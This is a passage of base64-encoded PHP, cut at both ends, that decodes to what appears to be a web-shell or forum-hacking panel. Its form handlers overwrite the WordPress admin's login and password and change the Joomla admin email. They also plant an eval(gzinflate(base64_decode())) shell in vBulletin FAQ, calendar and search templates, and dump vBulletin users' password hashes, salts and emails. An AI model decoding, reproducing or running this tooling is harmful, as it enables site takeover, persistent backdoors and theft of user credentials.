cpKX19e1wke2V4aXQoKX19PC90ZXh0YXJlYT4iOw0KJHNxbGluZGV4ID0gIlVQREFURSBgdGVtcGxhdGVgIFNFVCBgdGVtcGxhdGVgID0gJyRjcnlwdCciIG9yIGRpZTsNCiRxdWVyeSA9QCBteXNxbF9xdWVyeSgkc3FsaW5kZXgsJGNvbik7DQoNCmlmICgkcXVlcnkpDQp7DQogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFzcz0nY29tJz5+X14gPz8gPz8/Pz8/Pz8/PGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+IjsNCn0NCmVsc2UgaWYgKCEkcXVlcnkpDQp7DQogIGVjaG8gImVycm9yIjsNCn0NCg0KfWVsc2UNCnsNCiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPiEgPz8/PyA/Pz8/Pz8gPz8/Pz8/PyA8YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOw0KfQ0KICBicmVhazsNCg0KDQovLyA8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8IHdwID4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pg0KDQogIGNhc2UgMjoNCg0KICBlY2hvICcNCg0KPGRpdiBjbGFzcz0iY29tIj4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIzNSUiIGNsYXNzPSJ0YWIiPg0KIDxiciAvPg0KDQo8dHIiPg0KICAgICA8dGQ+SG9zdCA6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0IiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHIgIj4NCiAgICAgPHRkPnVzZXImbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHI+DQogICAgIDx0ZD5QYXNzIDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzcyIvPjwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCiAgICAgPHRkPmRiJm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGIiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNDUlIiBjbGFzcz0idGFiIj4NCg0KPHRyPg0KICAgICA8dGQ+dXNlciBhZG1pbiZuYnNwOyZuYnNwOyZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJhZG1pbiIgLz48L3RkPg0KPC90cj4NCjx0cj4NCiAgICAgPHRkPnBhc3MgYWRtaW4mbmJzcDsmbmJzcDsmbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzYWRtaW4iIC8+PC90ZD4NCjwvdHI+DQoNCjx0cj4NCg0KICAgICAgPHRkIGNvbHNwYW49IjYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI3MCUiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU1FMIiBtYXhsZW5ndGg9IjMwIiAvPiAgPGlucHV0IHR5cGU9InJlc2V0IiB2YWx1ZT0iY2xlYXIiIG1heGxlbmd0aD0iMzAiIC8+IDwvdGQ+DQoNCjwvdHI+DQogIDwvdGFibGU+DQogPC9mb3JtPiA8L2Rpdj4nOw0KDQokaG9zdCAgICAgICA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgICAgICAgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzICAgICAgID0gJF9QT1NUWydwYXNzJ107DQokZGIgICAgICAgICA9ICRfUE9TVFsnZGInXTsNCiR1c2VyYWRtaW4gID0gJF9QT1NUWyd1c2VyYWRtaW4nXTsNCiRwYXNzX2FkICAgID0gJF9QT1NUWydwYXNzYWRtaW4nXTsNCg0KDQoNCmlmKGlzc2V0KCRob3N0KSApIHsNCiRjb24gPUAgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllIDsNCiRzZWRiID1AIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZTsNCg0KJGNyeXB0ID0gY3J5cHQoJHBhc3NfYWQpOw0KDQoNCiRxdWVyeSA9QG15c3FsX3F1ZXJ5KCJVUERBVEUgYHdwX3VzZXJzYCBTRVQgYHVzZXJfbG9naW5gID0nIi4kdXNlcmFkbWluLiInIFdIRVJFIElEID0gMSIpIG9yIGRpZTsNCiRxdWVyeSA9QG15c3FsX3F1ZXJ5KCJVUERBVEUgYHdwX3VzZXJzYCBTRVQgYHVzZXJfcGFzc2AgPSciLiRjcnlwdC4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWU7DQoNCg0KDQppZiAoJHF1ZXJ5KQ0Kew0KICBlY2hvICI8Y2VudGVyPjxiciAvPjxkaXYgY2xhc3M9J2NvbSc+fl9eID8/ID8/Pz8/Pz8/PzxiciAvPjxiciAvPjwvZGl2PjwvY2VudGVyPiI7DQp9DQplbHNlIGlmICghJHF1ZXJ5KQ0Kew0KICBlY2hvICJlcnJvciI7DQp9DQoNCn1lbHNlDQp7DQogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFzcz0nY29tJz4hID8/Pz8gPz8/Pz8/ID8/Pz8/Pz8gPGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+IjsNCn0NCg0KDQoNCiAgYnJlYWs7DQoNCg0KDQovLyA8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8IGpvb21sYSA+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4NCg0KICBjYXNlIDM6DQogIGVjaG8gJw0KDQo8ZGl2IGNsYXNzPSJjb20iPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjM1JSIgY2xhc3M9InRhYiI+DQogPGJyIC8+DQoNCjx0ciI+DQogICAgIDx0ZD5Ib3N0IDo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD4NCjwvdHI+DQoNCjx0ciAiPg0KICAgICA8dGQ+dXNlciZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIC8+PC90ZD4NCjwvdHI+DQoNCjx0cj4NCiAgICAgPHRkPlBhc3MgOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzIi8+PC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KICAgICA8dGQ+ZGImbmJzcDsmbmJzcDsmbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8dGFibGUgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI1MCUiIGNsYXNzPSJ0YWIiPg0KDQo8dHI+DQogICAgIDx0ZD5kYnByZWZpeCZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImpvcCIgdmFsdWU9Impvc191c2VycyIgLz48L3RkPg0KPC90cj4NCg0KDQo8dHI+DQogICAgIDx0ZD5FbWFpbCBhZG1pbiZuYnNwOyZuYnNwOyZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImVtYWlsIiAvPjwvdGQ+DQo8L3RyPg0KDQoNCjx0cj4NCg0KICAgICAgPHRkIGNvbHNwYW49IjYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI3MCUiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU1FMIiBtYXhsZW5ndGg9IjMwIiAvPiAgPGlucHV0IHR5cGU9InJlc2V0IiB2YWx1ZT0iY2xlYXIiIG1heGxlbmd0aD0iMzAiIC8+IDwvdGQ+DQoNCjwvdHI+DQogIDwvdGFibGU+DQogPC9mb3JtPiA8L2Rpdj4nOw0KDQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgICA9ICRfUE9TVFsnZGInXTsNCiRqb3AgID0gJF9QT1NUWydqb3AnXTsNCiRlbWFpbCAgPSAkX1BPU1RbJ2VtYWlsJ107DQoNCmlmKGlzc2V0KCRob3N0KSApIHsNCiRjb24gPSAgQCBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKSBvciBkaWUgOw0KJHNlZGIgPSBAIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZTsNCg0KDQokcXVlcnk9IEAgbXlzcWxfcXVlcnkoIlVQREFURSAkam9wIFNFVCBlbWFpbCA9JyIuJGVtYWlsLiInIFdIRVJFIGlkID0gMSIpIG9yIGRpZTsNCg0KDQoNCmlmICgkcXVlcnkpDQp7DQogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFzcz0nY29tJz5+X14gPz8gPz8/Pz8/Pz8/PGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+IjsNCn0NCmVsc2UgaWYgKCEkcXVlcnkpDQp7DQogIGVjaG8gImVycm9yIjsNCn0NCg0KfWVsc2UNCnsNCiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPiEgPz8/PyA/Pz8/Pz8gPz8/Pz8/PyA8YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOw0KfQ0KDQoNCiAgYnJlYWs7DQovLyA8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8IHZiIHNoZWxsIEZBUSA+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4NCiAgY2FzZSA0Og0KICBlY2hvICcNCg0KPGRpdiBjbGFzcz0iY29tIj4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIzNSUiIGNsYXNzPSJ0YWIiPg0KIDxiciAvPg0KDQo8dHIiPg0KICAgICA8dGQ+SG9zdCA6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0IiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHIgIj4NCiAgICAgPHRkPnVzZXImbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHI+DQogICAgIDx0ZD5QYXNzIDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzcyIvPjwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCiAgICAgPHRkPmRiJm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGIiIC8+PC90ZD4NCjwvdHI+DQoNCjwvdGFibGU+DQo8dGFibGUgY2xhc3M9InRhYjIiIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNDUlIj4NCjx0cj4NCiAgICAgIDx0ZD4gPGJyIC8+PGNlbnRlcj5JbmplY3Rpb24gU2hlbGwgaW4gZmFxLnBocDwvY2VudGVyPjxiciAvPiA8L3RkPg0KPC90cj4NCg0KPHRyPg0KDQogICAgICA8dGQgY29sc3Bhbj0iNiIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjcwJSI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTUUwiIG1heGxlbmd0aD0iMzAiIC8+ICA8aW5wdXQgdHlwZT0icmVzZXQiIHZhbHVlPSJjbGVhciIgbWF4bGVuZ3RoPSIzMCIgLz4gPC90ZD4NCg0KPC90cj4NCiAgPC90YWJsZT4NCiA8L2Zvcm0+ICA8L2Rpdj4nOw0KDQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgICA9ICRfUE9TVFsnZGInXTsNCiRmYXEgID0gJF9QT1NUWydpbmRleCddOw0KDQppZihpc3NldCgkaG9zdCkgKSB7DQokY29uID1AIG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSA7DQokc2VkYiA9QCBteXNxbF9zZWxlY3RfZGIoJGRiKSBvciBkaWU7DQokY3J5cHQgID0gIntcJHtldmFsKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKFwnIjsNCiRjcnlwdCAuPSAiJHNoZWxsIjsNCiRjcnlwdCAuPSAiXCcpKSl9fXtcJHtleGl0KCl9fTwvdGV4dGFyZWE+IjsNCiRzcWxmYXE9IlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRjcnlwdC4iJyBXSEVSRSB0aXRsZSA9J0ZBUSciIDsNCiRxdWVyeSA9QCBteXNxbF9xdWVyeSgkc3FsZmFxLCRjb24pOw0KDQppZiAoJHF1ZXJ5KQ0Kew0KICBlY2hvICI8Y2VudGVyPjxiciAvPjxkaXYgY2xhc3M9J2NvbSc+fl9eID8/ID8/Pz8/Pz8/PzxiciAvPjxiciAvPjwvZGl2PjwvY2VudGVyPiI7DQp9DQplbHNlIGlmICghJHF1ZXJ5KQ0Kew0KICBlY2hvICJlcnJvciI7DQp9DQoNCn1lbHNlDQp7DQogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFzcz0nY29tJz4hID8/Pz8gPz8/Pz8/ID8/Pz8/Pz8gPGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+IjsNCn0NCiAgYnJlYWs7DQoNCg0KDQovLyA8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8IHZiIHNoZWxsIENBTEVOREFSID4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pg0KICBjYXNlIDU6DQplY2hvICcNCg0KPGRpdiBjbGFzcz0iY29tIj4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIzNSUiIGNsYXNzPSJ0YWIiPg0KIDxiciAvPg0KDQo8dHIiPg0KICAgICA8dGQ+SG9zdCA6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0IiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHIgIj4NCiAgICAgPHRkPnVzZXImbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHI+DQogICAgIDx0ZD5QYXNzIDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzcyIvPjwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCiAgICAgPHRkPmRiJm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGIiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPHRhYmxlIGNsYXNzPSJ0YWIyIiBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjQ1JSI+DQo8dHI+DQogICAgICA8dGQ+IDxiciAvPjxjZW50ZXI+SW5qZWN0aW9uIFNoZWxsIGluIGNhbGVuZGFyLnBocDwvY2VudGVyPjxiciAvPiA8L3RkPg0KPC90cj4NCg0KDQo8dHI+DQoNCiAgICAgIDx0ZCBjb2xzcGFuPSI2IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNzAlIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNRTCIgbWF4bGVuZ3RoPSIzMCIgLz4gIDxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9ImNsZWFyIiBtYXhsZW5ndGg9IjMwIiAvPiA8L3RkPg0KDQo8L3RyPg0KICA8L3RhYmxlPg0KIDwvZm9ybT4gIDwvZGl2Pic7DQovLw0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiICAgPSAkX1BPU1RbJ2RiJ107DQokaW5kZXggID0gJF9QT1NUWydpbmRleCddOw0KDQppZihpc3NldCgkaG9zdCkgKSB7DQokY29uID1AIG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSA7DQokc2VkYiA9QCBteXNxbF9zZWxlY3RfZGIoJGRiKSBvciBkaWU7DQokY3J5cHQgID0gIntcJHtldmFsKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKFwnIjsNCiRjcnlwdCAuPSAiJHNoZWxsIjsNCiRjcnlwdCAuPSAiXCcpKSl9fXtcJHtleGl0KCl9fTwvdGV4dGFyZWE+IjsNCiRzcWxmYXE9IlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRjcnlwdC4iJyBXSEVSRSB0aXRsZSA9J0NBTEVOREFSJyIgOw0KJHF1ZXJ5ID1AIG15c3FsX3F1ZXJ5KCRzcWxmYXEsJGNvbik7DQoNCmlmICgkcXVlcnkpDQp7DQogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFzcz0nY29tJz5+X14gPz8gPz8/Pz8/Pz8/PGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+IjsNCn0NCmVsc2UgaWYgKCEkcXVlcnkpDQp7DQogIGVjaG8gImVycm9yIjsNCn0NCg0KfWVsc2UNCnsNCiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPiEgPz8/PyA/Pz8/Pz8gPz8/Pz8/PyA8YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOw0KfQ0KICBicmVhazsNCg0KLy8gPDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PCB2YiBzaGVsbCBzZWFyY2ggPj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+DQoNCiAgY2FzZSA2Og0KZWNobyAnDQoNCjxkaXYgY2xhc3M9ImNvbSI+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMzUlIiBjbGFzcz0idGFiIj4NCiA8YnIgLz4NCg0KPHRyIj4NCiAgICAgPHRkPkhvc3QgOjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIgLz48L3RkPg0KPC90cj4NCg0KPHRyICI+DQogICAgIDx0ZD51c2VyJm5ic3A7OjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlciIgLz48L3RkPg0KPC90cj4NCg0KPHRyPg0KICAgICA8dGQ+UGFzcyA6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3MiLz48L3RkPg0KDQo8L3RyPg0KDQo8dHI+DQogICAgIDx0ZD5kYiZuYnNwOyZuYnNwOyZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiIiAvPjwvdGQ+DQo8L3RyPg0KPHRhYmxlIGNsYXNzPSJ0YWIyIiBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjQ1JSI+DQo8dHI+DQogICAgICA8dGQ+IDxiciAvPjxjZW50ZXI+SW5qZWN0aW9uIFNoZWxsIGluIHNlYXJjaC5waHA8L2NlbnRlcj48YnIgLz4gPC90ZD4NCjwvdHI+DQoNCg0KPHRyPg0KDQogICAgICA8dGQgY29sc3Bhbj0iNiIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjcwJSI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTUUwiIG1heGxlbmd0aD0iMzAiIC8+ICA8aW5wdXQgdHlwZT0icmVzZXQiIHZhbHVlPSJjbGVhciIgbWF4bGVuZ3RoPSIzMCIgLz4gPC90ZD4NCg0KPC90cj4NCiAgPC90YWJsZT4NCiA8L2Zvcm0+ICA8L2Rpdj4nOw0KDQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgICA9ICRfUE9TVFsnZGInXTsNCiRpbmRleCAgPSAkX1BPU1RbJ2luZGV4J107DQoNCmlmKGlzc2V0KCRob3N0KSApIHsNCiRjb24gPUAgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllIDsNCiRzZWRiID1AIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZTsNCiRjcnlwdCAgPSAie1wke2V2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoXCciOw0KJGNyeXB0IC49ICIkc2hlbGwiOyANCiRjcnlwdCAuPSAiXCcpKSl9fXtcJHtleGl0KCl9fTwvdGV4dGFyZWE+IjsNCiRzcWxmYXE9IlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRjcnlwdC4iJyBXSEVSRSB0aXRsZSA9J3NlYXJjaF9mb3J1bXMnIiA7DQokcXVlcnkgPUAgbXlzcWxfcXVlcnkoJHNxbGZhcSwkY29uKTsNCg0KaWYgKCRxdWVyeSkNCnsNCiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPn5fXiA/PyA/Pz8/Pz8/Pz88YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOw0KfQ0KZWxzZSBpZiAoISRxdWVyeSkNCnsNCiAgZWNobyAiZXJyb3IiOw0KfQ0KDQp9ZWxzZQ0Kew0KICBlY2hvICI8Y2VudGVyPjxiciAvPjxkaXYgY2xhc3M9J2NvbSc+ISA/Pz8/ID8/Pz8/PyA/Pz8/Pz8/IDxiciAvPjxiciAvPjwvZGl2PjwvY2VudGVyPiI7DQp9DQogIGJyZWFrOw0KDQoNCi8vIDw8PDw8PDw8PDw8PDw8PDw8PDw8PDwgdmIgbWVtYmVycyA+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4NCiAgY2FzZSA3Og0KDQogIGVjaG8gJw0KDQo8ZGl2IGNsYXNzPSJjb20iPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjM1JSIgY2xhc3M9InRhYiI+DQogPGJyIC8+DQoNCjx0ciI+DQogICAgIDx0ZD5Ib3N0IDo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD4NCjwvdHI+DQoNCjx0ciAiPg0KICAgICA8dGQ+dXNlciZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIC8+PC90ZD4NCjwvdHI+DQoNCjx0cj4NCiAgICAgPHRkPlBhc3MgOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzIi8+PC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KICAgICA8dGQ+ZGImbmJzcDsmbmJzcDsmbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYiIgLz48L3RkPg0KPC90cj4NCjx0YWJsZSBjbGFzcz0idGFiMiIgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI0NSUiPg0KPHRyPg0KICAgICAgPHRkPiA8YnIgLz48Y2VudGVyPnNob3cgbWVtYmVycyBJbmZvcm1hdGlvbjwvY2VudGVyPjxiciAvPiA8L3RkPg0KPC90cj4NCg0KDQo8dHI+DQoNCiAgICAgIDx0ZCBjb2xzcGFuPSI2IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNzAlIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNRTCIgbWF4bGVuZ3RoPSIzMCIgLz4gIDxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9ImNsZWFyIiBtYXhsZW5ndGg9IjMwIiAvPiA8L3RkPg0KDQo8L3RyPg0KICA8L3RhYmxlPg0KIDwvZm9ybT4gIDwvZGl2Pic7DQoNCiRob3N0ID0gJF9QT1NUWydob3N0J107DQokdXNlciA9ICRfUE9TVFsndXNlciddOw0KJHBhc3MgPSAkX1BPU1RbJ3Bhc3MnXTsNCiRkYiAgID0gJF9QT1NUWydkYiddOw0KJGluZGV4ICA9ICRfUE9TVFsnaW5kZXgnXTsNCg0KaWYoaXNzZXQoJGhvc3QpICkgew0KJGNvbiA9QCBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKSBvciBkaWUgOw0KJHNlZGIgPUAgbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllOw0KJHNxbCA9ICdzZWxlY3QgKiBmcm9tIGB1c2VyYCc7DQokcXVlcnkgPUAgbXlzcWxfcXVlcnkoJHNxbCwkY29uKTsNCg0KaWYgKCRxdWVyeSkNCnsNCg0Kd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcXVlcnkpKQ0Kew0KDQplY2hvICINCjxiciAvPjxiciAvPjx0YWJsZSBjZWxscGFkZGluZz0nNCcgY2VsbHNwYWNpbmc9JzQnIGFsaWduPSdjZW50ZXInIGNsYXNzPSd0Ym0nPg0KPHRyPg0KICAgICAgIDx0ZD5JRCA6PC90ZD4NCiAgICAgICA8dGQ+dXNlciA6PC90ZD4NCiAgICAgICA8dGQ+cGFzcyA6PC90ZD4NCiAgICAgICA8dGQ+c2FsdCA6PC90ZD4NCiAgICAgICA8dGQ+ZW1haWwgOjwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCiAgICAgICA8dGQ+Ii4kcm93Wyd1c2VyaWQnXS4iPC90ZD4NCiAgICAgICA8dGQ+Ii4kcm93Wyd1c2VybmFtZSddLiI8L3RkPg0KICAgICAgIDx0ZD4iLiRyb3dbJ3Bhc3N3b3JkJ10uIjwvdGQ+DQogICAgICAgIDx0ZD4iLiRyb3dbJ3NhbHQnXS4iPC90ZD4NCiAgICAgICAgPHRkPiIuJHJvd1snZW1haWwnXS4iPC90ZD4NCjwvdHI+DQoNCjwvdGFibGU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC0NCiAgIjsNCg0KfQ0KDQogIH0NCmVsc2UgaWYgKCEkcXVlcnkpDQp7DQogIGVjaG8gImVycm9yIjsNCn0NCg0KfWVsc2UNCnsNCiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPiEgPz8/PyA/Pz8/Pz8gPz8/Pz8/PyA8YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOw0KfQ0KDQoNCiAgYnJlYWs7DQoNCiAgY2FzZSA4Og0KDQoNCiAgZWNobyAnDQoNCjxkaXYgY2xhc3M9ImNvbSI+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMzUlIiBjbGFzcz0idGFiIj4NCiA8YnIgLz4NCg0KPHRyIj4NCiAgICAgPHRkPkhvc3QgOjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIgLz48L3RkPg0KPC90cj4NCg0KPHRyICI+DQogICAgIDx0ZD51c2Vy